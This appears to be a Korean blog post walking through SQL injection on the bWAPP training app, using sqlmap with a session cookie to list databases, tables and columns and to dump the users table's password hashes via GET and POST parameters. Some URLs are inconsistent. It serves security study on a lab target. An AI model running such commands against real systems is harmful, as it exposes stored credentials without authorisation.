SQL-Injection GET-Search
1. SQL-Injection GET-Search
이번 사이트는 입력란이 따로 있지않고 영화 리스트를 직접 선택시 DB안에 있는 상세 정보를 출력해주는 사이트이다.
. GET-Method 방식을 이용하고 있기 떄문에 영화를 선택할 때 마다 URL 상에서 movie 라는 변수가 계속 변경되고 있는걸 확인할 수 있으며 이번엔 sqlmap Tool을 활용하여 작업을 진행한다.
[참고] sqlmap
Sqlmap은 Database server의 탐지과정, Sql Injection결함을 통한 exploit을 자동화한 오픈소스 침투 점검용 Tool, 침투 점검자를 위한 틈새 특성들과 Database의 다양하고 폭 넓은 지속적인 변환, Database로부터 data탈취, 내부 파일시스템 접근, out-of-band ㅇㄴ결점을 통하여 OS command 실행과 같은 강력한 탐지기능을 탑재하고 있다.
2. SQL-Injection GET-Search / sqlmap attack
우선 burp suite를 통해 Cookie 값을 획득한다
획득한 Cookie 값을 가지고 sqlmap을 사용하여 Database 정보를 확인해본다.
sqlmap -u "http://192.168.10.137/bWAPP/sqli_2.php?movie=1&action=go" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" --dbs |
Method type, sql injection 종류, 관련 payload, DB-version, Web server-version 등 다양한 정보를 한번에 얻을 수 있다. 또한 MySQL 내 database의 이름들 또한 얻을 수 있는걸로 확인된다.
이번엔 bWAPP 내 table 정보를 sqlmap을 통해서 얻어보자.
sqlmap -u "http://192.168.10.132/bWAPP/sqli_2.php?movie=1&action=go" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" -D bWAPP --tables |
민감정보가 있을것으로 예상되는 users table이 확인된다. Users table의 columns 정보들을 조회해보자.
sqlmap -u "http://192.168.10.137bWAPP/sqli_2.php?movie=1&action=go" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" -T users --columns |
역시나 id, login, password 등 민감한 정보들이 담겨져있는 table인것으로 확인이 가능하다.
Users table 내 password columns 의 내용을 확인해보자
sqlmap -u "http://192.168.10.137/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" --data "movie=2" -T users -C password --dump |
Password 까지 침투 완료. 역시나 hashkiller 등을 통해 복호화 진행 시 비밀번호를 획득할 수 있다.
3. SQL-Injection POST-Search
이번엔 POST 방식이다, 상단 URL통해서 Data를 주고받았던 GET 방식과는 다르게 HTTP request body 의 내용을 중심으로 자료를 주고받는 POST 방식의 대해서 분석한다.
기본적으로 GET 방식과 동일한 사이트 구성이다, 역시나 burp suite로 Cookie값을 얻은 후 sqlmap을 통하여 침투과정을 진행해본다.
burp suite 를 통해 획득한 Cookie sqlmap을 통하여 DB정보를 획득해보자. 기존 GET 방식과는 다르게 body 정보 내 취약한 변수인 movie 변수를 –-data “movie=” 값에 넣어서 조회해야한다.
sqlmap -u "http://192.168.10.137/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" --data "movie=2" --dbs |
Get방식과 유사한 방식으로 sqlmap을 통해서 특정 정보들을 탈취하는데 성공한다. 이번에도 bWAPP 의 table 내부, columns, 민감한 정보들까지 한번에 조회해본다.
테이블 정보 조회
sqlmap -u "http://192.168.10.137/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" --data "movie=2" -D bWAPP --tables |
users table 의 columns
sqlmap -u "http://192.168.10.132/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" --data "movie=2" -T users --columns |
Password columns 의 내부 값.
sqlmap -u "http://192.168.10.137/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" --data "movie=2" -T users -C password --dump |
이처럼 sqlmap 등의 Tool을 활용하여 select 방식으로 되어있는 Database 또한 취약점을 찾아서 Database의 내부 상세정보들을 조회해볼 수 있다.
'Hacking > bWAPP' 카테고리의 다른 글
SQL-Injection AJAX, Login, Blog (0) | 2021.06.14 |
---|---|
SQL Injection - Login Form (0) | 2021.06.14 |
HTML Injection - Reflected(POST) (0) | 2021.06.03 |
HTML Injection - Reflected(GET) (0) | 2021.06.03 |
Injection (0) | 2021.06.02 |